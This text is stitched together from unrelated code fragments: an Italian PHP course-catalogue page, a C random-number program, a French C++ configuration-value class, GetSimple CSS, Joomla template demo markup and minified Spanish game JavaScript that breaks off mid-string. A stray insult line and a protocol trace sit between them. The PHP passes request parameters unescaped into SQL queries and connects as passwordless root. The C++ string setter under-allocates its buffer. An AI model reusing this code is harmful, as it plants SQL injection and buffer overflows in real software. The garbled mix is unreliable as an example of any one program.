(Request),message:roiv-cmip-confirmed-event-report<257>{obj-handle:0,event-time:Resource<2>,event-type:3356,event-info:%{config-report-id:33,config-obj-list:[{obj-class:6,obj-handle:1,attributes:[]}]}}}]]}[],Fsm-Connected-Associated-Configuring-WaitingApproval:{[RxApdu->Fsm-Connected;apduToReceive:Patterns.Apdu@867e89],[RxApdu->Fsm-Connected-Associated-Configuring-SendingConfig;apduToReceive:Patterns.Apdu@1dd7056]}[]],Fsm-Connected-Associated-Operating:{}[]]]]
<?php
function ordinaCorsiPer() {
switch (@$_POST['flag']) {
default: case 1:
mysql_connect("localhost", "root", "");
mysql_select_db("catalogocorsi");
$attributiCorso = mysql_query("SELECT vendor.nome AS nomeVendor, corso.codice, corso.nome, fornitore_in_corso.prezzo
FROM corso, fornitore_in_corso, vendor
WHERE vendor.id = corso.idVendor
AND corso.id = fornitore_in_corso.idCorso
AND fornitore_in_corso.idCorso = corso.id
ORDER BY vendor.nome");
?>
<table border="1">
<thead>
<tr>
<th>Vendor</th>
<th>Codice</th>
<th>Nome</th>
<th>Prezzo in euro</th>
<th>Maggiori informazioni</th>
</tr>
</thead>
<tbody>
<?php
while ($resultCorso = mysql_fetch_assoc($attributiCorso)) { ?>
<tr>
<th><?=$resultCorso['nomeVendor']?></th>
<td><?=$resultCorso['codice']?></td>
<td><?=$resultCorso['nome']?></td>
<td><?=$resultCorso['prezzo']?></td>
<td> <a href="?page_id=61&specificheCorso=<?=$resultCorso['nome']?>"> info </a> </td>
</tr>
<?php } ?>
</tbody>
</table>
<?php break;
case 2:
mysql_connect("localhost", "root", "");
mysql_select_db("catalogocorsi");
$attributiCorso = mysql_query("SELECT corso.codice, vendor.nome AS nomeVendor,
corso.nome, fornitore_in_corso.prezzo
FROM corso, fornitore_in_corso, vendor
WHERE vendor.id = corso.idVendor
AND corso.id = fornitore_in_corso.idCorso
AND fornitore_in_corso.idCorso = corso.id
ORDER BY corso.codice");
?>
<table border="1">
<thead>
<tr>
<th>Codice</th>
<th>Vendor</th>
<th>Nome</th>
<th>Prezzo in euro</th>
<th>Maggiori informazioni</th>
</tr>
</thead>
<tbody>
<?php
while ($resultCorso = mysql_fetch_assoc($attributiCorso)) { ?>
<tr>
<td><?=$resultCorso['codice']?></td>
<td><?=$resultCorso['nomeVendor']?></td>
<td><?=$resultCorso['nome']?></td>
<td><?=$resultCorso['prezzo']?></td>
<td> <a href="?page_id=61&specificheCorso=<?=$resultCorso['nome']?>"> info </a> </td>
</tr>
<?php } ?>
</tbody>
</table>
<?php break;
case 3:
if (isset($_POST['parolaChiave'])) {
mysql_real_escape_string($_POST['parolaChiave']);
$attributiCorso = mysql_query("SELECT vendor.nome AS nomeVendor, corso.codice, corso.nome, fornitore_in_corso.prezzo
FROM corso, fornitore_in_corso, vendor
WHERE vendor.id = corso.idVendor
AND corso.id = fornitore_in_corso.idCorso
AND fornitore_in_corso.idCorso = corso.id
LIKE '%".$_POST['parolaChiave']."%'");
?>
<table border="1">
<thead>
<tr>
<th>Vendor</th>
<th>Codice</th>
<th>Nome</th>
<th>Prezzo in euro</th>
<th>Maggiori informazioni</th>
</tr>
</thead>
<tbody>
<?php
while ($resultCorso = mysql_fetch_assoc($attributiCorso)) { ?>
<tr>
<td><?=$resultCorso['nomeVendor']?></td>
<td><?=$resultCorso['codice']?></td>
<td><?=$resultCorso['nome']?></td>
<td><?=$resultCorso['prezzo']?></td>
<td> <a href="?page_id=61&specificheCorso=<?=$resultCorso['nome']?>"> info </a> </td>
</tr>
<?php } ?>
</tbody>
</table>
<?php break;
}
}
}
function stampaSpecificheCorso() {
if (isset($_GET['specificheCorso'])) {
mysql_connect("localhost", "root", "");
mysql_select_db("catalogocorsi");
$attributiSpecificheCorso = mysql_query("SELECT vendor.nome AS nomeVendor, corso.codice, corso.nome,
fornitore_in_corso.prezzo, fornitore.nome AS nomeFornitore, corso.descrizione,
corso.obiettivi, corso.destinatari, corso.prerequisiti,
corso.certificazioni, corso.durata, corso.percorso
FROM corso, fornitore_in_corso, vendor, fornitore
WHERE vendor.id = corso.idVendor
AND corso.id = fornitore_in_corso.idCorso
AND fornitore_in_corso.idCorso = corso.id
AND fornitore.id = fornitore_in_corso.idFornitore
AND corso.nome like '".$_GET['specificheCorso']."'");
while ($resultSpecificheCorso = mysql_fetch_assoc($attributiSpecificheCorso)) {
echo("<h4>Il corso</h4>");
echo("<p>".$resultSpecificheCorso['descrizione']."</p>");
echo("<h4>Obiettivi</h4>");
echo("<p>".$resultSpecificheCorso['obiettivi']."</p>");
echo("<h4>Destinatari</h4>");
echo("<p>".$resultSpecificheCorso['destinatari']."</p>");
echo("<h4>Prerequisiti</h4>");
echo("<p>".$resultSpecificheCorso['prerequisiti']."</p>");
echo("<h4>Certificazioni</h4>");
echo("<p>".$resultSpecificheCorso['certificazioni']."</p>");
echo("<h4>Durata</h4>");
echo("<p>".$resultSpecificheCorso['durata']."</p>");
}
} else {
echo('<p>Selezionare su "catalogo corsi" la voce "maggiori informazioni"</p>');
}
}
?>
you sucks!
RHRWH R H HR HHHWRH
/* ****************************************************
Title: GetSimple CSS Document
Author: Chris Cagle
URL: http://www.cagintranet.com/
http://get-simple.info/
Created: September 2, 2009
**************************************************** */
/** GLOBAL RESETS **/
/* tables still need 'cellspacing="0"' in the markup */
table { border-collapse: collapse; border-spacing: 0; }
:link,:visited {text-decoration:none}
h1,h2,h3,h4,h5,h6,pre,code {font-size:1em;font-weight:400;}
ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,body,html,p,blockquote,fieldset,input {margin:0; padding:0}
a img,:link img,:visited img {border:none}
/** GLOBAL SETS **/
.clear {clear:both;}
body {
text-align:center;
font-family:arial, "lucida Grande", verdana, helvetica, sans-serif;
font-size: 14px;
background: #FFFFFF url(images/headerbg.png) top left repeat-x;
color:#222;
}
.wrapper {
margin-left:auto;
margin-right:auto;
width:950px;
}
/* HEADER */
#header {
position:relative;
height:200px;
text-align:left;
}
#header .logo{
position:absolute;
top:28px;
left:345px;
color:#FFF;
font-family:arial;
font-weight:bold;
font-size:45px;
}
#header .tagline{
color:#ccc;
font-family:georgia;
font-size:18px;
position:absolute;
top:78px;
left:0px;
}
#header #nav{
position:absolute;
top:130px;
left:345px;
color:#132430;
border-top:#2F5677;
color:#FFF;
font-size:13px;
text-transform:uppercase;
background:#132430;
list-style:none;
}
#header #nav li {float:left;border-right:1px solid #1E3A4E;}
#header #nav li:first-child {border-left:1px solid #1E3A4E;}
#header #nav li a {
padding:13px 20px;
line-height:40px;
color:#FFF;
}
#header #nav li.current a,
#header #nav li a:hover {
background:transparent url(images/navbg.png) top left repeat-x;
}
/* BODY */
#bodycontent {
width:580px;
float:right;
text-align:left;
}
#bodycontent .post {padding:0 0 55px 0;}
#bodycontent .post h1 {
font-family:georgia;
font-size:36px;
color:#000;
line-height:36px;
margin:0 0 15px 0;
padding:0 0 15px 0;
border-bottom:#ccc 1px dotted;
}
#bodycontent .post p {
margin:0 0 18px 0;
line-height: 20px;
}
#bodycontent .post ul, #bodycontent .post ol {
margin:0 0 18px 25px;
line-height: 20px;
}
#bodycontent .post ul ul, #bodycontent .post ol ul, #bodycontent .post ul ol, #bodycontent .post ol ol {
margin:0 0 0 25px;
}
#bodycontent .post blockquote {
margin:0 0 18px 30px;
line-height: 19px;
font-size:13px;
color:#666;
font-style:italic;
}
#bodycontent .post code {
font-size:12px;
color:#666;
padding:2px;background:#fafafa;
border:1px solid #eee;
}
#bodycontent .post pre code {
display:block;
font-size:12px;
color:#666;
padding:8px;background:#fafafa;
border:1px solid #eee;
margin-bottom:18px;
}
#bodycontent .post h2 {
font-weight:bold;
padding:8px 0;
font-size:20px;
}
#bodycontent .post h3 {
font-weight:bold;
padding:8px 0;
font-size:17px;
}
#bodycontent .post h4 {
font-weight:bold;
padding:8px 0;
font-size:14px;
}
#bodycontent .post a:link, #bodycontent .post a:visited {
color:#009865;
text-decoration:underline;
}
#bodycontent .post a:hover {
color:#132430;
text-decoration:underline;
}
#bodycontent .post .meta {
margin-top:20px;
font-size:11px;line-height:18px;
color:#555;
border:1px dotted #ccc;
background:#f9f9f9;
padding:8px;
}
/* SIDEBAR */
#sidebar {
width:320px;
position: absolute;
top: 0px;
z-index:1;
text-align:left;
font-size:13px;
}
#sidebar .featured {
background:#000 url(images/aboutbg.png) top left repeat-x;
padding:20px;
margin:0 0 30px 0;
color:#eee;
font-family:arial;
line-height:20px;
}
#sidebar .featured h2 {
color:#fff;
font-family:georgia;
font-size:24px;
line-height:24px;
border-bottom: 1px dotted #213F54;
padding:0 0 15px 0;
margin:0 0 20px 0;
}
#sidebar .featured p {
margin:0 0 17px 0;
}
#sidebar a:link, #sidebar a:visited {
color:#000;
text-decoration:underline;
}
#sidebar a:hover {
color:#009865;
text-decoration:underline;
}
#sidebar .featured a:link, #sidebar .featured a:visited {
color:#009865;
text-decoration:underline;
}
#sidebar .featured a:hover {
color:#ffffff;
text-decoration:underline;
}
#sidebar ul, #sidebar ol {
margin:0 0 18px 30px;
}
/* FOOTER
#footer {
text-align:left;
line-height:18px;
font-size:12px;
color:#666;
border-top:1px solid #ccc;
padding:10px 0 20px 0;
}
#footer p.left-footer {text-align:left;float:left;width:450px;}
#footer p.right-footer {text-align:right;float:right;width:450px;}
#footer a:link, #footer a:visited {
color:#666;
text-decoration:underline;
}
#footer a:hover {
color:#000;
text-decoration:underline;
} */
/* Footer Stuff */
.footer ol, ul, dl { list-style: none; }
.footer-holder { height:50px; overflow:visible; }
#footer { width:960px; margin:0 auto; padding:20px 0 50px; overflow:hidden; }
.footer-holder { width:100%; min-height:50px; }
.footer-add01 { float:right; width:410px; }
.footer-add01 h3 { padding:0 0 2px; }
.footer-add01 ul { float:left; }
.footer-add01 ul li { padding:0 0 2px; }
.footer-add01 ul.footer-menu01 { width:130px; }
.footer-add01 ul.footer-menu03, .footer-add01 ul.footer-menu02 { width:112px; }
.footer-add02 { float:left; width:400px; padding:0 0 0 10px; }
.footer-add02 address { width:100%; overflow:hidden; }
.footer-add02 address strong { padding:0 0 3px; display:block; }
.footer-add02 address span { float:left; padding:0 10px 0 0; }
.footer-add02 ul { padding:22px 0 0; overflow:hidden; }
.footer-add02 ul li { float:left; padding:0 12px 0 13px; }
.footer-add02 ul li:first-child { padding-left:0; }
#footer { font-size:.625em; line-height:12px; text-align:left; }
.footer-add01 h3 { font-size:11px; font-weight:normal; line-height:12px; }
.footer-add01 ul a { font-size:11px; line-height:12px; ll}
.footer-add02 address { font-style:normal; }
/*random N program tra 10 e 100*/
#include<stdio.h>
#include<stdlib.h>
int main ()
{
long int seed;
double x;
int N, i;
printf("inserisci il numero di combinazioni che desidera: ");
scanf("%d", &N);
printf("inserisci un seme: ");
scanf("%ld", &seed);
srand48(seed);
printf("Ecco la ista di %d numeri casuali tra 10 e 100\n", N);
for(i=0;i<N;i++)
{x=10 + (100-10)*drand48();
printf("\n%lf", x);
}
printf("\n-1\n");
return 0;
}
#include"ConfigurationValue.h"
#include<iostream>
#include<string.h>
#include<stdlib.h>
using namespace std;
ConfigurationValue::ConfigurationValue(int a) {
cout << "Dans le contructeur entier a: "<< a << endl;
type = INTEGER;
int_value = a;
}
ConfigurationValue::ConfigurationValue(char a) {
cout << "entrer dans constructeur de char a: " << a << endl;
type = CHARACTER;
char_value = a;
}
ConfigurationValue::ConfigurationValue(const string &a,int b){
cout << "entrer dans constr de string a:" << a << endl;
type = STRING;
cout << "La taille de a est : " << a.length() << endl;
if((string_value =(char *) malloc(a.length()*sizeof(char)+1)) == NULL) {
cerr << "Probleme avec le malloc "<<endl;
exit(12);
}
strcpy(string_value, a.c_str());
// string_value = a;
}
ConfigurationValue::ConfigurationValue(double a) {
cout << "entrer dans constr de double a: " << a << endl;
type = DOUBLE;
double_value = a;
}
ConfigurationValue::ConfigurationValue(bool a) {
cout << "entrer dans constr de bool a: " << a << endl;
type = BOOLEAN;
bool_value = a;
}
ConfigurationValue::ValueType ConfigurationValue::getType(void) const {
return type;
}
int ConfigurationValue::getIntValue(void) const{
if (getType() != INTEGER)
throw;
return int_value;
}
char ConfigurationValue::getCharValue(void) const{
if (getType() != CHARACTER)
throw;
return char_value;
}
string ConfigurationValue::getStringValue(void) const{
if (getType() != STRING)
throw;
string val = string_value;
return val;
}
double ConfigurationValue::getDoubleValue(void) const{
if (getType() != DOUBLE)
throw;
return double_value;
}
bool ConfigurationValue::getBoolValue(void) const {
if (getType() != BOOLEAN)
throw;
return bool_value;
}
void ConfigurationValue::setValue(int a) {
if (getType() != INTEGER)
throw;
int_value = a;
}
void ConfigurationValue::setValue(char a){
if (getType() != CHARACTER)
throw;
char_value = a;
}
void ConfigurationValue::setValue(const string &a,int b){
if (getType() != STRING)
throw;
string_value = (char *)malloc(sizeof(char *)*a.size());
strcpy(string_value,(char *)a.c_str());
//string_value = a;
}
void ConfigurationValue::setValue(double a){
if (getType() != DOUBLE)
throw;
double_value = a;
}
void ConfigurationValue::setValue(bool a){
if (getType() != BOOLEAN)
throw;
bool_value = a;
}
ConfigurationValue::~ConfigurationValue() {
}
ConfigurationValue::ConfigurationValue(void) {
throw;
}
<div id="rt-banner">
<div class="rt-container">
<p>Module variations ...</p>
<div class="clear"></div>
</div>
</div>
<div id="rt-main-bg">
<div id="rt-showcase">
<div class="rt-container">
<div class="rt-grid-12 rt-alpha rt-omega">
<div class="testimonials">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>Testimonials</span> module suffix</h2>
</div></div>
<div class="module-content">
<div style="width: 100%;" id="nsp-nsp_204" class="nsp_main">
<div style="width: 100%;" class="nsp_arts bottom">
<div class="nsp_top_interface">
<div>
<span class="prev">Prev</span>
<span class="next">Next</span>
</div>
</div>
<div class="nsp_art_scroll1" style="width: 878px; overflow: hidden;"><div class="nsp_art_scroll2" style="width: 100000px;"><div class="nsp_art_page" style="width: 878px; float: left;"><div style="width: 100%;" class="nsp_art"><div style="padding: 12px 10px 8px;"><p class="nsp_text tleft fleft">"... This module use a "testimonials" module class suffix in News Show Pro GK4 module. Animation settings in this specific module: arrow navigation on, autoanimation - off,hover animation - off. You can use many diffrent settings and combination of module settings to suit your needs ...</p><p class="nsp_info tright fleft">24 Sep 2010</p><h4 class="nsp_header tleft fnone">Jon Doe - Best Company</h4></div></div></div><div class="nsp_art_page" style="width: 878px; float: left;"><div style="width: 100%;" class="nsp_art"><div style="padding: 12px 10px 8px;"><p class="nsp_text tleft fleft">"... Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer ac elementum magna. Sed eget nibh justo. Sed dapibus sagittis blandit. Nulla facilisi. Pellentesque viverra tellus quis eros feugiat vitae lobortis est hendrerit. Morbi bibendum nunc nec erat volutpat semper. Nulla ut nisl vestibulum velit volutpat...</p><p class="nsp_info tright fleft">19 Sep 2010</p><h4 class="nsp_header tleft fnone">John Doe - Some Company</h4></div></div></div><div class="nsp_art_page" style="width: 878px; float: left;"><div style="width: 100%;" class="nsp_art"><div style="padding: 12px 10px 8px;"><p class="nsp_text tleft fleft">"... Etiam ornare ornare arcu sit amet blandit. Nullam consequat, erat in adipiscing sagittis, eros purus iaculis dui, at blandit nunc augue tincidunt risus. Duis sed arcu eget velit iaculis scelerisque. Sed ligula erat, vehicula vel ullamcorper a, aliquam quis mauris. Sed interdum faucibus felis, ac...</p><p class="nsp_info tright fleft">05 Jul 2010</p><h4 class="nsp_header tleft fnone">John Smith -Other Big Brand</h4></div></div></div></div></div>
</div>
</div>
<script type="text/javascript">
//<![CDATA[
try {$Gavick;}catch(e){$Gavick = {};};
$Gavick["nsp-nsp_204"] = {
"animation_speed": 350,
"animation_interval": 4000,
"news_column": 1,
"news_rows": 1,
"links_amount": 0,
"counter_text": '<strong>Page:</strong>'
};
//]]>
</script> </div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
</div>
</div>
<div id="rt-feature">
<div class="rt-container">
<div class="rt-grid-4 rt-alpha">
<div class="dark">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>Dark</span> module suffix</h2>
</div></div>
<div class="module-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur molestie sagittis ipsum sit amet dapibus. Nam aliquam purus nec erat varius vestibulum ac ac est. Aliquam sit amet enim urna. Quisque lacus augue, sodales ac malesuada ut, elementum eu purus. Praesent massa mauris, tempus non imperdiet vitae, lobortis id urna.</p> </div>
</div>
</div>
</div>
</div>
<div class="rt-grid-4">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>Standard</span> module</h2>
</div></div>
<div class="module-content">
<p>This is standard module. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur molestie sagittis ipsum sit amet dapibus. Nam aliquam purus nec erat varius vestibulum ac ac est. Aliquam sit amet enim urna. Quisque lacus augue, sodales ac malesuada ut, elementum eu purus. Praesent massa mauris, tempus non imperdiet vitae, lobortis id urna.</p> </div>
</div>
</div>
</div>
<div class="rt-grid-4 rt-omega">
<div class="menu1">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>Menu1</span> module suffix</h2>
</div></div>
<div class="module-content">
<ul class="menu"><li class="item86"><a href="/blackstudios-white/index.php?option=com_content&view=frontpage&Itemid=86"><span>Home</span></a></li><li class="item29"><a href="/blackstudios-white/index.php?option=com_content&view=article&id=22&Itemid=29"><span>Features</span></a></li><li class="item30"><a href="/blackstudios-white/index.php?option=com_content&view=article&id=27&Itemid=30"><span>The Community</span></a></li><li class="item84"><a href="/blackstudios-white/index.php?option=com_k2&view=itemlist&layout=category&task=category&id=2&Itemid=84"><span>Blog</span></a></li><li class="item85"><a href="/blackstudios-white/index.php?option=com_contact&view=contact&id=1&Itemid=85"><span>Contact</span></a></li></ul> </div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
</div>
</div>
<div id="rt-maintop">
<div class="rt-container">
<div class="rt-grid-12 rt-alpha rt-omega">
<div class="menu2">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>menu2</span> module suffix</h2>
</div></div>
<div class="module-content">
<ul class="menu"><li class="item89"><a href="/blackstudios-white/index.php?option=com_k2&view=item&layout=item&id=8&Itemid=89"><span>WebDesign</span></a></li><li class="item90"><a href="/blackstudios-white/index.php?option=com_k2&view=item&layout=item&id=3&Itemid=90"><span>SEO/SEM</span></a></li><li class="item91"><a href="/blackstudios-white/index.php?option=com_k2&view=item&layout=item&id=1&Itemid=91"><span>Hosting</span></a></li><li class="item92"><a href="/blackstudios-white/index.php?option=com_k2&view=item&layout=item&id=10&Itemid=92"><span>Global Domains</span></a></li></ul> </div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
</div>
</div>
<div class="sa4-mb4-sb4" id="rt-main">
<div class="rt-container">
<div class="rt-grid-4 rt-push-4">
<div class="rt-block">
<div id="rt-mainbody">
<div class="rt-joomla ">
<div class="rt-article">
<div class="rt-headline">
<h1 class="rt-article-title" style="visibility: visible;"><span>
Module</span> variations </h1>
<div class="clear"></div>
</div>
<p>Here you can find basic module suffixes used in this template. If you would like to combine different classes of modules, please remember to use space between words - example "testimonials dark."</p>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut sollicitudin imperdiet lectus, nec pulvinar odio feugiat eget. In in metus ac arcu sagittis euismod sed eu diam. Morbi molestie fringilla urna, sit amet bibendum libero pharetra ut. Suspendisse felis tellus, sagittis quis dignissim mollis, tristique id diam.</p>
</div>
</div>
</div>
</div>
</div>
<div class="rt-grid-4 rt-pull-4">
<div id="rt-sidebar-a">
<div class="testimonials">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>Testimonials</span> module suffix</h2>
</div></div>
<div class="module-content">
<div style="width: 100%;" id="nsp-nsp_260" class="nsp_main autoanim">
<div style="width: 100%;" class="nsp_arts bottom">
<div class="nsp_top_interface">
<div>
<ul class="pagination">
<li class="">1</li>
<li class="">2</li>
<li class="active">3</li>
</ul>
</div>
</div>
<div class="nsp_art_scroll1" style="width: 238px; overflow: hidden;"><div class="nsp_art_scroll2" style="width: 100000px;"><div class="nsp_art_page" style="width: 238px; float: left;"><div style="width: 100%;" class="nsp_art"><div style="padding: 12px 10px 8px;"><p class="nsp_text tleft fleft">"... Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer ac elementum magna. Sed eget nibh justo. Sed dapibus sagittis blandit. Nulla facilisi. Pellentesque viverra tellus quis eros feugiat vitae lobortis est hendrerit. Morbi bibendum nunc nec erat volutpat semper. Nulla ut nisl vestibulum velit volutpat...</p><p class="nsp_info tright fleft">19 Sep 2010</p><h4 class="nsp_header tleft fnone">John Doe - Some Company</h4></div></div></div><div class="nsp_art_page" style="width: 238px; float: left;"><div style="width: 100%;" class="nsp_art"><div style="padding: 12px 10px 8px;"><p class="nsp_text tleft fleft">"... Etiam ornare ornare arcu sit amet blandit. Nullam consequat, erat in adipiscing sagittis, eros purus iaculis dui, at blandit nunc augue tincidunt risus. Duis sed arcu eget velit iaculis scelerisque. Sed ligula erat, vehicula vel ullamcorper a, aliquam quis mauris. Sed interdum faucibus felis, ac...</p><p class="nsp_info tright fleft">05 Jul 2010</p><h4 class="nsp_header tleft fnone">John Smith -Other Big Brand</h4></div></div></div><div class="nsp_art_page" style="width: 238px; float: left;"><div style="width: 100%;" class="nsp_art"><div style="padding: 12px 10px 8px;"><p class="nsp_text tleft fleft">"... Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse potenti. Praesent sed orci at velit imperdiet interdum et ut diam. Nulla lectus justo, suscipit vel auctor at, dictum sed elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque non...</p><p class="nsp_info tright fleft">03 Jan 2010</p><h4 class="nsp_header tleft fnone">Tomek H. - SevenStudio</h4></div></div></div></div></div>
</div>
</div>
<script type="text/javascript">
//<![CDATA[
try {$Gavick;}catch(e){$Gavick = {};};
$Gavick["nsp-nsp_260"] = {
"animation_speed": 350,
"animation_interval": 4000,
"news_column": 1,
"news_rows": 1,
"links_amount": 0,
"counter_text": '<strong>Page:</strong>'
};
//]]>
</script> </div>
</div>
</div>
</div>
</div>
</div>
<div class="rt-grid-4 ">
<div id="rt-sidebar-b">
<div class="color">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>color</span> suffix module</h2>
</div></div>
<div class="module-content">
<p>This module use a <strong>color </strong>suffix module. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut ipsum diam, iaculis tempor enim. Cras consequat posuere sem. Cras non eros augue, sed hendrerit diam. Etiam tempus, nunc ac rutrum volutpat, sapien neque mattis tellus, gravida cursus justo massa vel magna. Quisque nunc mi, molestie in pellentesque sed, hendrerit vel purus.</p> </div>
</div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
</div>
</div>
<div id="rt-mainbottom">
<div class="rt-container">
<div class="rt-grid-6 rt-alpha">
<div class="blank">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>blank</span> module suffix</h2>
</div></div>
<div class="module-content">
<p>Blank module have no margin and no padding. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur molestie sagittis ipsum sit amet dapibus. Nam aliquam purus nec erat varius vestibulum ac ac est. Aliquam sit amet enim urna. Quisque lacus augue, sodales ac malesuada ut, elementum eu purus. Praesent massa mauris, tempus non imperdiet vitae, lobortis id urna.</p> </div>
</div>
</div>
</div>
</div>
<div class="rt-grid-6 rt-omega">
<div class="small">
<div class="rt-block">
<div class="bg-module">
<div class="module-title"><div class="module-title-icon">
<h2 class="title" style="visibility: visible;"><span>small</span> module suffix</h2>
</div></div>
<div class="module-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur molestie sagittis ipsum sit amet dapibus. Nam aliquam purus nec erat varius vestibulum ac ac est. Aliquam sit amet enim urna. Quisque lacus augue, sodales ac malesuada ut, elementum eu purus. Praesent massa mauris, tempus non imperdiet vitae, lobortis id urna.</p> </div>
</div>
</div>
</div>
</div>
<div class="clear"></div>
</div>
</div>
</div>
function construir(){transitor(smsMenuConsAyuda,smsMenuCons,'construir');if(faccionPropia==7){algoNoActivadosBRDerrotado();}else{jsonrpc.construccion.construccion(cargaConstruccion,ultimaActualizacionNoticias);}}
function construirFondo(){jsonrpc.construccion.construccionFondo(cargaConstruccionFondo);}
function cargaConstruccion(result,exception){sfBorrar(cv);if(exception){mostrarExcepcion(exception);}else{actualizaRecursos(result);cargarNuevasNoticias(result.UAn,result.news);areaUtilizada=result.areaUtilizada;maxCastillo=result.maxCastillo
sfTable(cv,'centrador',4,1);$('centrador').style.backgroundImage='url('+urlImg+'interfaz/comun/fondoEmergente.jpg)';$('centrador').style.borderBottom="1px solid #555555";sfTable('centrador20','maq',3,1);$('centrador00').width='45px';$('centrador10').width='215px';$('centrador20').width='340px';$('centrador30').width='85px';tecnologiasActivadas=false;sfBoton('maq00','botI','botones/anterior.gif','',false);sfEspacios('maq00',2);$('botI').style.cursor='pointer';sfDiv('maq10','paisajeSmall','','left');pSS=$('paisajeSmall').style;pSS.width='137px';pSS.height='24px';pSS.background='url('+urlImg+'fondos/paisajeSmall.jpg)';pSS.cursor='move';pSS.borderTop=colorF+' 2px solid';pSS.borderBottom=colorF+' 2px solid';sfDiv('paisajeSmall','scroller','','');sfDiv('scroller','scrollerAux','','');scS=$('scroller');scS.style.width='42px';scS.style.height='20px';scS.innerHTML=' ';scS.style.border='#FFFFFF 2px solid';sfEspacios('maq20',2);sfBoton('maq20','botD','botones/siguiente.gif','',false);$('botD').style.cursor='pointer';sfDiv(cv,'lugarMapa','','left');$('lugarMapa').style.borderBottom="1px solid #555555";sfDiv(cv,'cEC','','left');sfSegundoNivel('cEC','construccionesEnCurso.gif',true);sfDiv(cv,'cECContenido','','left');$('cEC').style.display="none";sfTable('centrador20','maq',3,1);sfBoton(cv,'extraI','construir/borde.gif','',false);sfBoton(cv,'extraD','construir/borde.gif','',false);sfColocar('extraI','paisajeSmall',-327,35);sfColocar('extraD','paisajeSmall',390,35);ident=sfIFrame('lugarMapa','scr1','juego?pagina=construccion',anchoIframe,altoIframe);iframeConstruir=window.frames['scr1'+ident];sfDiv(cv,'testDebug','','center');slider=new Control.Slider('scroller','paisajeSmall',{axis:'horizontal',range:$R(0,1600),sliderValue:600,onSlide:function(v){if(modificar){iframeConstruir.document.body.scrollLeft=v*(1600-anchoIframe)/1600}else{modificar=true;}},onChange:function(v){if(modificar){iframeConstruir.document.body.scrollLeft=v*(1600-anchoIframe)/1600}else{modificar=true;}}});vc='voladoraConstruccion';sfDiv(cv,vc+'aux','','');vcAS=$(vc+'aux').style;vcAS.position='absolute';alturaVent=(parseInt($('Todo').offsetHeight/2)+getScrollY()-150);vcAS.top=alturaVent+'px';vcAS.left='50%';vcAS.marginLeft='-175px';vcAS.width='450px';vcAS.heigt='300px';vcAS.zIndex='103000';vcAS.display='none';sfVentanaEmergente(vc+'aux',vc,450,270);lugar='voladoraConstruccionDivContenido';sfDiv(cv,'emerAux','','');sfVentanaEmergente('emerAux','emerDetalles',546,370);lugar='emerDetallesDivContenido';eAS=$('emerAux').style;eAS.position='absolute';alturaVent=(parseInt($('Todo').offsetHeight/2)+getScrollY()-185);eAS.top=alturaVent+'px';eAS.left='50%';eAS.marginLeft='-275px';eAS.width='550px';eAS.heigt='300px';eAS.zIndex='103000';eAS.display='none';sfTable(lugar,'titul',2,1);sfBoton('titul10','','botones/eliminar.gif','ocultarTecnologias();',false,'Cerrar ventana');$('titul00').width='470px';sfTable(lugar,'descrp',2,4);Element.setOpacity('emerDetallesDivTransparente',0.95);sfBoton('emerDetallesDivTransparente','','construir/arbolTecnologias.png','',false,'');$('botI').onmouseover=function(){scroll_iframe(-10);};$('botI').setAttribute('onMouseOver','scroll_iframe(-10)');$('botD').onmouseover=function(){scroll_iframe(10);};$('botD').setAttribute('onMouseOver','scroll_iframe(10)');$('botI').onmouseout=function(){stopScroll();};$('botI').setAttribute('onMouseOut','stopScroll()');$('botD').onmouseout=function(){stopScroll();};$('botD').setAttribute('onMouseOut','stopScroll()');$('extraI').onmouseover=function(){scroll_iframe(-15);};$('extraI').setAttribute('onMouseOver','scroll_iframe(-15)');$('extraD').onmouseover=function(){scroll_iframe(15);};$('extraD').setAttribute('onMouseOver','scroll_iframe(15)');$('extraI').onmouseout=function(){stopScroll();};$('extraI').setAttribute('onMouseOut','stopScroll()');$('extraD').onmouseout=function(){stopScroll();};$('extraD').setAttribute('onMouseOut','stopScroll()');sfBoton('centrador10','botArbolTech','construir/arbolTecnologias.gif','activarTecnologias()',false,'Ver / Ocultar el árbol de tecnologías.');sfPrimerNivel(cv,'areas.gif',false);sfDiv(cv,'cv');sfFondoComun('cv');sfEspacio('cv',10);sfDiv('cv','barraAreasDiv');sfEspacio('cv',20);sfDiv('cv','compATbDiv');sfTable('compATbDiv','compATb',8,1);$('compATbDiv').style.padding='10px 0px 15px 45px';sfTexto('compATb00','Comprar ','','texto2',false);sfTexto('compATb10',' 20 ','','texto1',false);sfBoton('compATb20','newArea','recursos/area16.gif','',false,'Áreas nuevas para construir');sfTexto('compATb30',' al Emperador.','','texto2',false);sfTexto('compATb40','Coste: 